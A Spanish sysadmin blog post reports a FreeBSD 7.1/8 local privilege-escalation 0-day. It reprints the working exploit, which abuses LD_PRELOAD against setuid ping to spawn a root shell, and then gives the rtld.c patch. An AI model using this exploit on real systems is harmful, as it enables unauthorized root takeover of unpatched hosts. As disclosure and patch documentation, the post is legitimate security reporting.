systemadmin.es > Seguridad > Exploit (0-day) en FreeBSD 7.1 y 8: Como obtener root con acceso local

Exploit (0-day) en FreeBSD 7.1 y 8: Como obtener root con acceso local

En el foro, e-Minguez nos comenta el 0-day en FreeBSD 7.1 y FreeBSD 8.

Podemos encontrar el exploit en la lista de full-disclosure. Su uso resulta de lo más simple.

Mediante el siguiente código se engaña al rtld para cargar una librería con LD_PRELOAD en un binario con setugid (el ID efectivo cuando se ejecuta es root, en lugar del ID del usuario):

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}

La librería solo debe ejecutar cualquier binario o shell para obtener el root:

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}

Podemos encontrar el patch para FreeBSD 8 en la lista freebsd-security-notifications, podemos ver de su simplicidad:

Index: rtld.c
===================================================================
--- rtld.c	(revision 199977)
+++ rtld.c	(working copy)
@@ -366,12 +366,12 @@
      * future processes to honor the potentially un-safe variables.
      */
     if (!trust) {
-        unsetenv(LD_ "PRELOAD");
-        unsetenv(LD_ "LIBMAP");
-        unsetenv(LD_ "LIBRARY_PATH");
-        unsetenv(LD_ "LIBMAP_DISABLE");
-        unsetenv(LD_ "DEBUG");
-        unsetenv(LD_ "ELF_HINTS_PATH");
+        if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+	    unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+	    unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+		_rtld_error("environment corrupt; aborting");
+		die();
+	}
     }
     ld_debug = getenv(LD_ "DEBUG");
     libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>